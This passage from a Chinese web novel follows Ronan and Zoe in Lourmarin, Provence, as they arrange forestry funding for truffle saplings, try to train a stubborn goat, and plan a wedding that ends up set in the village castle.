“布鲁诺今天来卢尔马兰吗?”罗南问桑德琳。 他们在卢尔马兰的房子还没有修好,不过布鲁诺偶尔会来看一看。 桑德琳摇头: “布鲁诺最近很忙,有半个多月没回家了,好像在弄什么生态建设。” 罗南猜这个‘生态建设’有可能就是冬青栎在普罗旺斯的栽种。 不过布鲁诺半个多月没回家了,缺依然记得帮自己这个忙,这更加值得感谢了。 “布鲁诺的联系方式有吗?我想和他通个电话。”罗南四处找纸笔。 桑德琳把布鲁诺临时住所的电话告诉了罗南。 罗南打了一晚上,到晚上的8点多钟才有人接电话。 “嘿罗南,我的朋友,怎么会是你?”罗南的电话让布鲁诺非常意外。 “才忙完吗?”听到布鲁诺的语气,罗南有些奇怪的问。 巴黎人非常抗拒加班。 但布鲁诺的语气中只有兴奋和意外,没有那种做了一天牛马后的无力。 “没有,去聚餐了,哈哈。”布鲁诺的语气很轻快,“你知道的,普罗旺斯人会找一切理由吃吃喝喝,今天的聚餐理由是我们在森林里没有迷路,顺利的找到了目标区域。” 罗南跟着笑了起来: “恭喜你,你已经找到普罗旺斯生活的‘精髓’了。” 两个人聊了几句有的没的后,罗南说出了打电话的来意: “我今天去了卡庞特拉松露技术中心,那里的人告诉我,森林局将资助所有树苗的成本,谢谢你布鲁诺,这给我们省下了很大的一笔成本,你帮了我这么大的忙,怎么也不提前和我说一下啊。” 罗南的‘肺腑之言’换来了一声不悦的咂嘴。 布鲁诺语气坚决的说: “这本就是我们要做的事,你不需要和我说感谢,你瞧,我都没有提前告诉你,就是因为这是我工作里的一部分。” 罗南还想继续说什么,被布鲁诺堵住了嘴: “嘿伙计,你太不普罗旺斯了,你这个居住了一年多的人,怎么还没我适应的快?你和佐伊哪天有时间?桑德琳说要去买床和洗手盆,我最近有些忙,你们能陪她去选一选吗?我们都很相信你和佐伊的审美。” 普罗旺斯人热情直接。 他们有什么需求不会拐弯抹角,会直接的说出来。 很显然,在这一点上,布鲁诺比罗南做的好多了。 “可以,我和佐伊都有时间,你让桑德琳随时来找我们。”似乎是受到了‘刺激’,罗南的普罗旺斯化也被激发了出来,“如果试验成功,未来我可能会买更多的地,希望森林局的‘资助时间’能够长一点。” “我们这次生态建设要持续3年,只要你在这个时间段内做松露人工培育,我们都可以承担,对了罗南,我的两个孩子似乎不太适应新学校,你知道卢尔马兰附近有什么还不错的学校选择吗?” “我找人去问一问,尽快给你答复。” “哦,那太棒了!” “布鲁诺,人工培育松露是一场艰难的持久战,未来可能要经历麻烦你了。” “嘿我的朋友,遇到难题尽管来找我,我一定会帮你想办法的。” “真期待你们赶紧搬来卢尔马兰。” “快了快了,等买完家具就差不多了,诶对了罗南,你上次给我画的设计图.” 罗南的嘴角不自觉的勾起。 普罗旺斯真是一片神奇的土地,无论谁来了都会被‘同化’掉,只是表现形式不尽相同。 说不定下次再见布鲁诺,这个家伙就光着脚丫酒不离手了呢。 第448章 油盐不进的东西! 布鲁诺工作忙,也不懂装修。 罗南和佐伊已经陪桑德琳去看过许多次家具和装饰材料了。 小情侣的夜游计划中更是多了布鲁诺家这一站,时不时的过去看看进展。 在布鲁诺的请求下,五月初,罗南又开车拉着两位女士去阿普特了。 五月份的普罗旺斯已是一副万物生机勃勃的模样。 远处的山峰青苍柔婉,如一条条翠绿色的腰带,将吕贝隆腹地的居民包裹。 汽车轮子在地面摩擦出有规律的声响,罗南载着佐伊和桑德琳从一丛丛迷迭香、熏衣草或是百里香的气味中飘过。 你问为什么能清晰闻到路边植物的香气? 那还不是因为五一假期让这里狠狠的堵车了! 四月底的复活节只是一个小小的‘预告’,五一长假到来之后游客量愈发凶猛。 如果运气不好,只是从卢尔马兰开到梅纳村就要堵一个小时。 罗南一行人不像是外地的游客,着急一站又一站的去往他们的旅游目的地,多堵一分钟都是无法容忍的浪费。 普罗旺斯人一辈子都在学习如何愉快的‘浪费’时间。 道路两侧的景色怡然、气味也缤纷,反正今天一定能开到阿普特,他们今天也只有这一件事要做,根本不用着急,甚至还有心情在汽车长龙中找点感兴趣的事情讨论。 突然,一个穿着橘红色紧身衣、黑色短裤和面罩的骑士疾驰而去,惹得好几个车主发出羡慕又怨恨的鸣笛声。 “该死的,我都躲到普罗旺斯了,还能看到炫富的人?” “哈,如果每年都是这个情况,下次来普罗旺斯我也要带着自行车了。” “得了吧伙计,你要骑完全程?你是旅游,人家是放松,不是一种东西。” “走啊走啊,别聊了,那辆吉普车要插队你们没看吗,快把它卡出去!混蛋东西!!” 罗南把头伸出车窗外,发现刚刚过去的那个骑自行车的家伙连尾灯都看不见了。 想到什么,他回过头来问佐伊: “我们也去骑车吧?找一个安静些的地方去踏青。” 法国人对自行车的热爱程度应该是世界上最积极的,环法自行车赛从1903年便开始举行,那是世界上最大型的自行车赛事。 不过在法国民众中,自行车是中产阶级的休闲活动,近些年来更是有成为富豪炫富玩具的趋势。 帕特里西亚排解学业压力的途径除了花钱买东西、买艺术品,就是在十几个保镖的保护下去骑车踏青。 复活节假期前,她还曾向佐伊发来过邀请——派专车接佐伊一起去骑车,不过佐伊因为面包大赛拒绝了。 在吕贝隆,除了邮差等特殊职业,普通村民通常不会选择自行车出行。 高高低低的坡度会把人搞死。 在这里见到自行车和穿着专业的人大概率是外地来的游客。 不过罗南想要骑车没有那么复杂的目的。 他只是希望和佐伊多找些感兴趣的事情一起做,徒步和夜游玩累了,可以换种方式。 毕竟这里是普罗旺斯,生活在这里的居民要时刻学习如何‘浪费’时间。 佐伊听到自行车想到了某些不好的回忆: “你不知道我爸爸的自行车和骑行设备在仓库里有多占地方,我妈妈又有多嫌弃。” 路易在几年前迷上了这项运动,并花高价采买了一批昂贵的设备,不过那份热情只持续了几个月就终止了。 罗南笑着说: “那正好啊,那些设备不用,我拿来骑,给你配一套就可以了,不如就在今天?在阿普特,连你的车子和设备一起买了?” 佐伊对所有运动项目都不太感兴趣,平时也没有运动的习惯: “两套骑行设备放到家里太占地方了。” “我们家那么大,还放不下两套骑行设备?”罗南用诱惑的语气说,“或者我们买两辆最好的自行车,不骑的时候把它挂在工作室的墙上,那会是两件非常不错的装饰,嗯,没错,肯定会非常有特色的。” “不要不要。”佐伊继续拒绝,“如果你要骑车和别人去吧,让特奥或者康奈尔陪你,我不想去。” “一起去嘛,不会很频繁的,一个月就一两次。”罗南继续试探。 佐伊不给罗南继续说服自己的空间,起了一个让罗南‘老实’的话题: “你还是先考虑考虑如何‘骑’呼呼吧,5月份了,还有一个月你们就要去参加比赛,该培养感情了。” 佐伊早就给罗南和呼呼制定好了‘训练计划’,但罗南总是用各种其他事情搪塞过去。 罗南逃避般挪开视线: “这是两件事,骑车是骑车,骑羊是骑羊,我们先聊车的事。” 下一秒,又有两辆靓色自行车从窗边路过,很快消失不见,罗南指着他们说: “你看,多炫酷啊,是不是亲爱的?” 罗南的表现让佐伊想到了小时候不想吃饭‘顾左右而言他’的维埃里。 你的拒绝已经写满全身了! 不过佐伊还是想要劝说个试试: “如果能把羊训好,会更加炫酷,山羊赛跑时有几万观众注视你们,我相信今年游客会更加多的。” “我和呼呼‘八字不合’,没办法待在一起。”罗南摊牌了,“它一见到我就那副样子,我们怎么可能能相处愉快并比赛呢?” 佐伊语气温柔的能滴出水来: “有的时候和宠物相处,就像是和孩子相处一样,你要多给它一些耐心,我会在旁边陪着你们的,好不好?” “那和孩子完全不一样.” “一样的” 坐在后排的桑德琳忍不住把头伸了过来,问小情侣: “你们打算几月结婚?” 你们张口闭口孩子孩子的,不赶紧自己生一个? 事实上这个问题最近经常有人问佐伊和罗南。 后院装修好了,室内家具也做齐了,目前只差一个大工程游泳池。 朋友们都知道罗南和佐伊在装修的是婚房,现在装修进入了结尾阶段,婚礼的日子是不是快了? 罗南和佐伊同时看向对方。 这个问题他们还真没认真讨论过。 婚礼定在几月呢? 又用什么主题呢? 那天晚上回到卢尔马兰,罗南把佐伊家仓库里尘封了好几年的自行车搬出来,简单调试了一下发现除了轮子没气,其他完全没有问题。 洗完车,又打了气,罗南骑车带着佐伊在卢尔马兰转了好几圈。 小情侣一向都是这样,不会强迫,只有妥协。 佐伊不想骑车,那罗南便骑车载她。 罗南想要骑车,那么佐伊就陪他一起。 骑车的过程中,两个人的话题自然一直围绕婚礼展开。 桑德琳的话提醒了他们——该把婚礼提上日程了。 这个年代,室内设计师都没有在普罗旺斯普及,婚礼策划公司更是找不到一个。 罗南之前了解过本地人的结婚习俗。 乡村人都是根据当地传统习俗举办婚礼,没有什么策划可言。 大城市的有钱人如果想让婚礼不太一样,会去找酒店的内部策划。 如果再简单一些,一部分花店可以提供花艺和简单的流程协调。 罗南和佐伊的婚礼会在卢尔马兰举行,这里没有可以提供策划的酒店,找花店也没必要,村里免费的鲜花比花店里的还要新鲜。 于是,婚礼的策划师只能是罗南和佐伊。 晚上佐伊没有选择回家,而是让罗南把车骑去餐厅。 “饿了?”‘专车师傅’贴心的问,“但现在餐厅快打烊了,不如我们去小吃街买点东西?” 佐伊拍了拍司机师傅的后背: “不是去吃饭,我看看歌迪亚她们在不在。” 餐厅是艺术家和农夫的聚集地,不过由于游客的原因,这些原住民白天都没有机会坐进来了,但在晚上打烊之前还是习惯过来看看,就跟上班打卡似的,不去浑身难受。 “让她们帮忙一起想想吗?可以的,她们一定可以给我们提供许多帮助。”罗南脚下生风,把两个脚踏板蹬的像风火轮似的,笑着说,“在这一点上,艺术家比农夫们有用多了。” 佐伊呢喃着说: “各自的作用不同罢了,歌迪亚她们只能动动脑子,体力不行,等策划好了,到了执行阶段,就要请农夫们帮忙了。” 罗南的嘴角咧得越来越大: “那我们几月举行婚礼呢?7月或者8月?” 毫不夸张的讲,罗南最希望的日期是明天! 越聊细节,这个想法越强烈!! 佐伊抱紧罗南的腰,思考了一阵子才回答: “还是先把主题和场地定下来再说日期吧,如果是露天婚礼,在夏天举办太难熬了说不定我们还没开始宣布誓言,嘉宾们就中暑被接走了,9、10月份更好吧?那个时候气温降低了,太阳也没有那么狠辣。” 刚才小情侣讨论时发现,他们的结婚场地似乎只能选择家里的后院。 那里应该是卢尔马兰最适合的场地了,又宽敞又美丽,还有卢尔马兰可以排到前几的自然风景——直面吕贝隆山谷的美景。 总不能在卢尔马兰老广场结婚吗? 那也太奇怪了。 如果场地定在后院,就要考虑天气原因。 两个人现在都是普罗旺斯有头有脸的人物,来宾大咖云集,相应的流程和时间也会比较长。 但在夏季的大太阳下,必须要把宾客们的体验考虑进去。 普罗旺斯的夏天太炎热了。 “9、10月份?”罗南焦急的扭头,表达自己的态度,“根本用不了那么久的准备时间啊。” 策划是他和佐伊,帮忙干活的都是兄弟们。 哪里需要那么久的时间? 即使是‘面包大赛’那种规格的大型活动,三天也筹备好了。 罗南说的7、8月已经留出非常充足的时间了。 佐伊拍了拍罗南的后背,提示他好好‘开车’: “你别着急,先定主题,看看没有有什么折中的方案。” 司机师傅听话的把客人送到餐厅。 罗南要跟着一起进去,但佐伊‘无情’的把他推出门外: “我知道婚礼是我们两个人的事情,但求婚你给了我太多惊喜,所以这次请允许我也要做一些保留的事情嗯,你先回去吧,等我和歌迪亚她们聊完小秘密,你再参加其余的讨论。” 罗南给了佐伊一个毕生难忘的美妙求婚仪式,那一晚的惊喜、兴奋和幸福感直至今日想起都会让她激动不已,有想哭的冲动。 所以,她也想给罗南一些同样的‘心动瞬间’,可以让他回忆多年的那种。 佐伊知道瞒着新郎在婚礼上设计惊喜是一件很难的事情,万一让罗南发现了端倪提前拆穿就更糟糕了。 她决定坦白‘一部分’,让罗南乖乖配合,不要刨根问底。 罗南一脸懵逼: “什么什么?你们要排挤‘新郎’?” 我那么卖力蹬车把你送来,不带我玩? 我还真是司机啊? 佐伊笑着把罗南推出餐厅的大门: “你先自己找点事情做,我们尽快,去吧去吧,喜欢骑车就再去骑几圈,乖。” 罗南:“???” 一谈到‘婚姻’的话题,佐伊便会精神紧绷。 之前只是觉得自己无法成为一个合格的妻子,就让她内耗了好一阵子。 现在问题来到了最关键的婚礼.只是想一想就让她紧张的睡不着了。 尤其之前的求婚仪式是罗南一手操办的,还是如此的成功和让人记忆犹新。 就连歌迪亚等几个佐伊的姐妹,都憋着一口气,不想输给罗南和托尔这两个男人。 那之后的两天,佐伊和她的姐妹团们沉浸入了策划婚礼中,茶不思饭不想,睁眼就是‘提方案’。 有一天,罗南去餐厅偷看,发现她们面前的草稿纸像是维埃里的数学书一样厚,而且都翻卷边了。 “嘿嘿嘿,姐妹们,我只是来亲亲我的未婚妻,你们不要那么紧张。” 每当罗南靠近,便会有‘护卫’立即把他推开。 罗南只能隔着层层护卫,远远的看一眼他美丽的未婚妻子。 即将结婚的兴奋和求而不得的无奈让罗南看佐伊愈发心动同时更加想让婚礼的日期临近些了。 佐伊在护卫里三层外三层的保护中,远远的瞥了罗南一眼: “无聊了就去和呼呼培养感情,我这里很快就好了。” 想到美丽妻子的嘱托,罗南鼓足了勇气去路易家找呼呼。 这段日子游客太多,呼呼已经失去了‘放风’的机会,每天只能待在羊圈里。 放养的羊改圈养,可想而知它的心中有多不爽了。 维埃里说,呼呼现在看谁都是一副‘翻白眼’的样子,看起来心情糟透了。 为了和呼呼搞好感情,罗南没有空着手去,他带了一点水果和蔬菜,又特意带了一些人吃的东西例如面包、薯片和粉红酒。 当然了,后者是给自己准备的,他知道今天是一场持久战,得带足‘干粮’。 怕呼呼暴起攻击,罗南把食物扔进去后,人没敢进去,在外面喝酒看它吃东西,顺便与它谈心。 “我知道你看我不顺眼,我也看你不顺眼,但我们都喜欢佐伊,都忍忍吧。” “佐伊最近在筹备我们的婚礼,你不知道她有多重视这件事,我们两个关系好些,她一定会格外开心,你也想看到她开心对不对?” “未来你一定会搬去我家生活,我们早晚要同处一个屋檐下,大家各退一步,不打架和平相处吧,我以后不针对你了,你也别针对我了行不行?” 见呼呼停止了咀嚼,没有什么情绪的眼睛看着羊圈外面,罗南鼓足勇气走进去摸了摸它的脑袋,以表达友好: “摸了头就是兄弟啊,听到没有。” 罗南一路从头摸到屁股,过程中不断说着求和的话。 突然,一颗颗湿润黏腻的粪球噼里啪啦落到他裸露的脚面上。 罗南一个弹射,后退数步,远离这个‘油盐不进’的东西! 第449章 婚礼场地确定! 罗南很快发现自己预估错了形势。 他以为训练山羊就像和集市上的老板讨价还价一样——自己可以掌控全局。 但其实掌控全局的是那个吃了他的东西还翻白眼的坏东西! 罗南在路易家待了整整两个小时,各种示好的行为全做了.但对方就是不给面子。 只是一个系绳子的举动就僵持了大半个小时。 好不容易给呼呼系上绳子,它又犯了懒病——一副冷漠的表情看着远方,不肯挪动一步。 罗南的脑海中不停闪现第一次见呼呼的情形。 去年的山羊赛跑上,它像是浪子一样不服管教,在第一个弯道就甩飞了它的骑士。 唯一的好消息是,呼呼只在佐伊在场时才会和罗南形成‘争宠之势’,两个人独处它只是拿罗南当空气,并不会像对马赛那样主动攻击。 但想要参加山羊大赛,罗南至少要让呼呼能跟着自己跑起来,而不是这幅目中无人的样子。 罗南拉着呼呼的项圈,用力拖动它: “来,我们跑一跑,先跑一圈试试。” 羊没拖动,罗南一个用力又扯出来几坨屎。 罗南气的想要去拿菜刀,下一秒身后响起一道雀跃的声音: “你还在这里?你们相处了这么久的时间吗?” 不等罗南转头,佐伊欢快的窜上了罗南的身子。 她双腿盘在罗南的腰间,抱着罗南的脑袋亲个不停: “你太棒了亲爱的,一定辛苦了吧?” 罗南嘴角扯到了耳朵根,这是他近几天来第一次和佐伊亲热: “不辛苦,一点都不辛苦,明天我们继续!” 既然在佐伊面前表了决心,即使心里一万个不愿意,罗南还是要每天过来装装样子。 当然了,相处的时候他会不停的思考——等比赛结束烤羊的时候能不能让他去做那个厨子? “等着,到时候我亲自宰了你!”罗南生气的摔‘圈’而去。 呼呼以一声绵长的‘咩——’表达了它的挑衅。 离开路易家,罗南步行返回餐厅,在路上居然遇到了一个卡福的伙计。 这个时间他应该在罗南家的后院修游泳池啊。 “你怎么出来了?”罗南把他拦下来。 那伙计从去年开始断断续续在罗南家干了好几个月的活,和这个主顾已经混的非常熟悉了。 他点了一根烟,指着卢尔马兰村的某个方向说: “我们刚才算了一下,石材不太不够了,我出来订一些。” 罗南之前几次装修都是去D7公路沿途的采石场订购石材,这附近的村民也会去那里买。 这指的又是哪里? 罗南顺着这名伙计手指的方向看过去,同时问出了心中的疑问: “你要去哪里订?” 那伙计露出一副‘我知道你不知道’的庆幸模样: “去商业街上的石材商铺,那老板现在不止卖石材饰品,还可以送装修石材。” 罗南吃惊的嘟囔: “托马斯?” 商业街刚开业时,托马斯和歌迪亚像是连体婴儿一样形影不离。 后来卢尔马兰的艺术属性越来越突出,歌迪亚便和艺术家们混到了一起。 托马斯也会时常去罗南的餐厅玩,但没有去年那么密集了,不过每次路过大家都会打个招呼。 罗南跟着卡福的伙计一起去到托马斯的石材店,发现这里大变了样子。 以前,整间店铺摆放的都是饰品和小摆件,现在这些东西大概只占了不到30%的面积,其他地方摆的是装饰石材。 托马斯的生意非常不错,罗南等了好久才有和他独处的机会。 “和你爸爸修复好关系了?”罗南开玩笑的问。 托马斯说,如果创业失败他就要回家继承家产了。 不过看这情形,这份家产已经提前继承了? 托马斯摇着脑袋说: “我的创业非常成功,脱离了家族的帮助依然可以活下去,而且活的非常不错,但家族没有了我不行。” “哦?”罗南顿时来了兴趣,撑着柜台问托马斯,“你的生意被你爸爸认同了?他给你投资了?” 托马斯喝了一口水: “比那更加‘认同’。” 他笑着耸肩: “我爸爸租了我的商铺,他每个月会付给我房租,而且是不低的房租” 罗南指着那些石材问: “租你的店面卖这些东西?” 托马斯欢欣鼓舞的说: “没错,我爸爸看上了卢尔马兰的市场,想在这里租一间店面,但市场上根本没有出租的商铺,然后他就想到了我,你知道这种感觉有多奇妙吗?哈哈,上帝再次眷顾了我,被父亲和家族肯定是我一直以来的心愿。” 看着商业街上人头攒动的行人,罗南感慨道: “卢尔马兰的配套设施越来越全面了。” “是啊。”托马斯也看向门外,“就是地方太小了,我爸爸说,他有几个朋友最近也在卢尔马兰找铺子,但那太难了,这里没有任何一间商铺闲置。” 罗南笑着说: “慢慢来,也许很快就有了。” 离开了托马斯的石器店,罗南又在他隔壁看到了正在给员工训话的加布里埃尔。 糖果大王来卢尔马兰视察工作了? “罗南,好久不见!”罗南刚一露头就被加布里埃尔热情的抱住,“虽然没见面,但你的事情我可清楚的很呢,每次我和马里尼通电话都会提起你。” 罗南拍着加布里埃尔的胳膊问: “你这家伙最近在忙什么?上一次聚会你就没去。” 罗南好几个月没见加布里埃尔了,上一次见面还是在戈尔德的拍卖会上。 最近的一次粉红酒爱好者协会聚会他都没有来参加,要知道那次聚会的主题是欢送杰罗姆退休呢。 加布里埃尔不好意思的笑了两声: “我还能忙什么,忙着赚钱呗,这是我唯一擅长的事情。” 突然,他附在罗南的耳边,神秘兮兮的说: “别怪我没提醒你,最近普罗旺斯的市场非常活跃,要抓紧赚钱啊,赶紧把开分店提上日程吧,未来几年很难赔钱的。” 罗南后撤一步,意外的打量对面这个‘除了钱什么都没有’的家伙。 糖果大王的商业嗅觉果然灵敏。 他也发现真正的普罗旺斯热要到来了,所以最近在忙于布局? “最近又赚了不少吧?”罗南笑着问红光满面的加布里埃尔。 “哈哈,还可以还可以。”加布里埃尔把话题岔开,指着身后的分店说,“不过卢尔马兰这家店铺的生意确实非常不错,好到我都要来看看了,你可能不知道,今年年初我差点把它关了退租。” 糖果大王看着身后进进出出的客人,满意的说: “还好坚持下来了,之后一定会越来越好的。” 普罗旺斯的未来无限光明,卢尔马兰这颗冉冉新星也将在几年后成为法国最美的村庄之一。 这些本是原本就会发生的事情。 但在罗南的影响下,卢尔马兰的璀璨程度可能会远超预期。 越来越多嗅觉灵敏的商人选择在这里开实体店铺,即将在卢尔马兰坐拥4座商铺的罗南会成为毫无疑问的‘大款’。 不过这使得罗南对即将接手的三家商业街二期和三期店铺更加慎重,尤其是那个还没想好要干什么的第三间店铺。 开餐厅罗南完全不担心,有罗天海这个超级大脑坐镇,即使再开几个也一定可以顺利的完成。 卢尔马兰手工艺合作社罗南也不太担心,巴蒂、卡福和后来加入的桑德琳他们4个人一起出力一定可以很好的把旗舰店落成。 但第三个商铺就没有这么容易了。 开店不是拍脑门的事,此刻就要思考做什么和怎么做了,这样才能提前找好负责人。 给斯特斯加开一家实体店? 但那太浪费了 酒庄就在不远的山坡上,粉红酒博物馆里也有许多引导购买的流程,卢尔马兰所有可以买到酒的店铺里都可以买到斯特斯加的粉红酒,为此单独占据一个宝贵的商铺完全没有必要。 做旅游咨询? 但在普罗旺斯旅游服务中心更加有效果,许多游客会把那里设置成第一站,看完手册直接就报团了。 做老本行装修设计? 没有可以帮忙的人啊,罗南不可能一个人做‘光杆司令’。 “还能干什么呢?”罗南一路思考到了餐厅。 推门见到佐伊她们还在老位置,他愉快的走了过去。 姐妹团已经讨论三四天了,是不是能把未婚妻还给我了? 佐伊和她的朋友们似乎正在休息,松懈了戒备,罗南走近了些,终于听到了一些她们的讨论内容。 “服务员必须统一着装,最好穿的像是马赛轮船服务员那样,戴着白手套。” “上次求婚你们请来了乡村乐队,婚礼用手风琴乐队还是弦乐队?不过第一支舞千万不要跳《玫瑰人生》啊,那太俗了。” “我去问一问有没有知名歌手能来给你们献唱,对了,婚礼定在几月啊?我要提前约人家的档期。” “宣誓背景是不是用葡萄园?那就定在9月底吧,那个时候的葡萄园最好看了,漫山遍野都是葡萄闪闪发亮的样子。” “不行不行,9月太晚了。”罗南冲刺过去表达抗议。 ‘侍卫’们立即出动,把罗南阻隔在外: “你怎么又来偷听?” “我自己的婚礼能叫偷听吗?”罗南不满的抗议。 “我们在讨论惊喜环节呢,你着什么急啊,马上就把佐伊还给你,你们还有四个月的时间准备,想怎么策划怎么策划,我们才不干预。”侍卫们再次把罗南推了出去。 罗南大声嘟囔: “别的我没有意见,但是时间能不能提前一点?” 侍卫们七嘴八舌的说: “无论是你家还是你们的工作室都装不下婚礼的全部东西,你知道你们两个有多少朋友吗?只能选择户外举行。” “气温太高会把宾客晒晕,你也不想那些大人物在卢尔马兰被救护车送回去吧?” “你家后院9月的风景最好看,可以借用葡萄园做背景。” 罗南再一次被请出了餐厅。 不过姐妹团保证,今天她们的使命就将结束,明天把佐伊还给罗南。 没有心情骑车,也不想干别的,罗南一路溜达去了政府办公大楼,想要问一问布兰科他们关于商业街二期和三期的店铺问题。 政府一定掌握了更多的资料,可以听听他们的建议。 不过今天罗南的运气不好。 布兰科居然不在卢尔马兰。 “布兰科去哪了?”罗南问希尔维。 希尔维有些紧张的说: “布兰科拿着申请书去阿维尼翁了,他要亲自给旅游局的官员们讲述那上面的东西。” “这么快?”罗南惊呼,“这么快就准备好申请预算所需的材料了?” 希尔维将大拇指和食指分开,比了将尽十厘米的长度,咧着嘴说: “昆西要的太急了,不过这次的资料比上次还要多,你不知道我们这段时间有多忙,所有人都动员起来了。” 罗南忧心忡忡的问: “把握大吗?布兰科走之前是怎么说的?” 年初提交预算申请前,卢尔马兰政府上下自信满满。 申请书还没交上去,就开始讨论怎么花这笔钱了。 罗南想知道,这次大家是否有信心。 希尔维咂了下嘴,似乎听到了一个很‘幼稚’的问题: “布兰科临走前告诉我们,他一定带着钱回来。” 罗南笑着呼出一口大气: “那我就放心了。” 布兰科不在,罗南只能向希尔维请教关于商铺的问题。 但希尔维有事情要忙,这会不行: “你先回去吧,今晚我下了班去你的餐厅,我们边吃边聊。” 罗南知道她这是有正事要做,点点头: “好,我给你提前留出位置。” 希尔维扭着屁股离开: “不会太早啊,最近忙死了,得7点以后。” 离开的方向也在那边,罗南跟在希尔维身后笑着问: “还那么忙?申请书不是已经准备好了吗?” 希尔维脚下生风,丝毫没有减速: “昆西说我们的工作进度太慢了,让我们提速,我得去城堡那边盯着施工,让翻新工作在7月份完成,你知道的,城堡是卢尔马兰风景最好的地方,可以俯瞰整个吕贝隆山谷,得赶紧把这个旅游项目恢复。” 罗南跑到了希尔维的身前,用他单薄的身子将雄壮的希尔维拦住,期待的问: “城堡除了开放给游客还可以做别的使用吗?” 商业街餐厅。 刚刚才被赶走的罗南不到半个小时就回来了。 这次他不顾侍卫的阻力,硬闯关卡,整个人都快飞起来了,就像他此刻的心情似的。 “佐伊,我们的婚礼可以提前到7月!希尔维答应把城堡借给我们举行婚礼,那里有卢尔马兰最棒的风景还是室内!我们可以拥有一个城堡婚礼了!!” 第450章 你们俩给我锁死! 卢尔马兰城堡绝对不是普罗旺斯最出名的中世纪城堡,规模也不是最大的,同时也没有承载过什么可以载入历史的防御战事。 但这里却是普罗旺斯唯一对公众开放的文艺复兴风格城堡。 城堡作为防御工事于12世纪建成,作用是控制杜朗斯河谷的贸易路线。 文艺复兴时期,意大利建筑师与普罗旺斯贵族合作,在城堡内融入浓厚的托斯卡纳风格,其中旋转楼梯是法国最早的石制螺旋梯之一。 这次翻新,卢尔马兰政府计划在修复之前内外部建筑以求最高限度恢复历史风貌的同时,还要修建一片美丽的拱廊庭院,力争让更多的游客在城堡里留下美好的记忆。 罗南和佐伊的婚礼即将在卢尔马兰城堡举行的消息很快传的村内人尽皆知。 两位卢尔马兰最有出息的孩子要在最让本村人骄傲的城堡里举行神圣的仪式.大家不禁提前两个月便开始猜测——那场婚礼将会是什么样子的? 这其中最亢奋的一定是佐伊的姐妹们和罗南的兄弟,因为他们可以更加深入的加入到这场隆重的婚礼当中去。 那可是城堡婚礼啊,以前贵族和王室才能有的待遇,现在就将发生在自己的身边了。 艺术家们利用审美、经验和创意帮助小情侣想出适配城堡婚礼的主题环节。 农夫们将一手将冰冷的卢尔马兰城堡布置成温馨的婚礼举行场地。 爱凑热闹的普罗旺斯群众好久没有找到这么有趣的事情了。 每一天,歌迪亚和特奥等人都会拉着罗南和佐伊聊个不停,督促他们不要偷懒,赶紧的把婚礼细节定下来,再早早的给嘉宾们去送请柬。 在普罗旺斯,邀请亲朋参与婚礼是一件非常神圣的事情,需要亲自把请柬交到受邀者的手里。 长辈、教父母或重要人物需要新郎或者新娘亲自登门递送请柬。 其他朋友可以选择邮寄或者请朋友帮忙代送。 以罗南和佐伊的身份,当然不能邮寄了,必须代送! 这一点艺术家和农夫们提前帮小情侣决定好了。 谁不想借此机会接触一下普罗旺斯那些响当当的大人物啊? 歌迪亚提前预定好了给格拉内博物馆的馆长诺曼德先生送请柬的任务,想借此机会和对方聊一聊后续有可能的合作。 放做平时的日子,歌迪亚可没有机会接触到这位普罗旺斯艺术界的大人物。 她还想试着去修复一下和即将上任普罗旺斯艺术协会会长马雷查尔的关系。 没错,这位大人因为戈尔德艺术活动上的优异表现,已经被确定是继承者了。 歌迪亚还是很有自知之明的。 今日不同往日. 即使人家真是馋我的身子,我也会乖乖配合的,会长大人! 康奈尔更是早早的预定好了要去给阿斯特丽德送请柬,罗南说不知道阿斯特丽德家的住址,康奈尔就逼着罗南赶紧去问,一副恨不得当天就去的样子。 让康奈尔这么一闹,巴蒂也要去给伊内斯送.每天在罗南和佐伊的身边‘念经’。 当事人罗南和佐伊对朋友的反应苦不堪言,这些比他们还兴奋的家伙搞得他们都快没有独处空间了! 恰好五一小长假结束,游客返回大城市,卢卡斯要离开卢尔马兰回尼斯继续联系客户,罗南要去当面感谢给卢卡斯介绍了许多资源的《海岸》编辑切尔诺,而佐伊也非常喜欢尼斯这座城市。 于是罗南带着佐伊一起,跟随卢卡斯开车去往尼斯,就当是出来散散心、换换脑子了。 卢卡斯会带着狗离开,为了让玛格丽特和小黑多相处相处,罗南也带着小黑和马赛一起出行。 玛格丽特、苏菲、小黑和马赛在卢卡斯的车上,罗南开着他的敞篷跑车载着佐伊。 “如果不是小长假结束,我可不敢开这么长的路程。”罗南扶了一下佐伊给他买的墨镜,心情不错的把胳膊搭到车外,感受普罗旺斯的夏季季风。 复活节和五一假期是一个小小的预热,更多的游客会选择在7和8月来普罗旺斯。 五一结束后,虽然游客依然不少,但没有过节期间那么夸张了。 前一阵子,白天从卢尔马兰开车去尼斯有可能要堵六七个小时,因为那是南下去蔚蓝海岸的必经之路。 正是因为这个情况,卢卡斯才会选择在卢尔马兰多等几天,等游客少一些再返程。 不过路况只是好了一点点而已,两个小时过去,他们还没开出吕贝隆。 佐伊戴着宽大帽檐的时尚遮阳帽,和罗南同款的情侣墨镜,笑着说: “你今年对游客的态度好多了,如果去年也有这么堵,你可能都气的要摁喇叭了。” 罗南挑眉: “他们可是我的上帝。” 佐伊不以为然的摘下墨镜打量罗南: “去年他们也是你的上帝。” 罗南从去年年初搬到普罗旺斯后,就一直在围绕游客做生意,吃松露的是游客,去集市和餐厅的也大部分是游客。 但佐伊清楚记得,去年的罗南可没有这么好的心态。 有一次他们去艾克斯看电影被堵在路上,罗南急得都要飙脏话了。 罗南笑着摸了摸脖子: “那就是心态变了,变得不那么着急了,你不觉得吗?明明每天都有许多事情要做,但该有的放松我一点都不会省略,该吃吃该喝喝,该夜游夜游,该骑车骑车.去年我不是这样的,如果有什么事压在心里,我不吃不喝也得先把事情做了。” 佐伊似乎对这个话题很感兴趣,侧了侧身子,直对罗南: “因为今年的经济情况变好了吗?” 罗南笑着耸肩: “应该和这个的关系不大。” 罗南不敢说的是,虽然银行里的数字确实比去年多了许多,但他的经济压力一直有,而且还不小,但这些事情就不需要跟佐伊说了。 佐伊有思考的时候咬东西的习惯,她咬着墨镜腿说: “其实我也没有之前那么激进了,一回想之前那种忙碌到饭都吃不上的日子就觉得‘仿如隔世’。” 佐伊用‘准备结婚’为由推掉了许多的活动,烧制作品也没有去年那么积极了。 要知道,去年家里的那个小电窑不是在烧就是在降温的状态,忙成了007而现在的佐伊一周或者十天才开一次炉。 罗南后怕似的咧嘴: “戈尔德大地艺术活动期间,你和我都太拼命了,前前后后,我们大概过了将近2个月,除了工作就是工作的日子?” 佐伊回忆了一下: 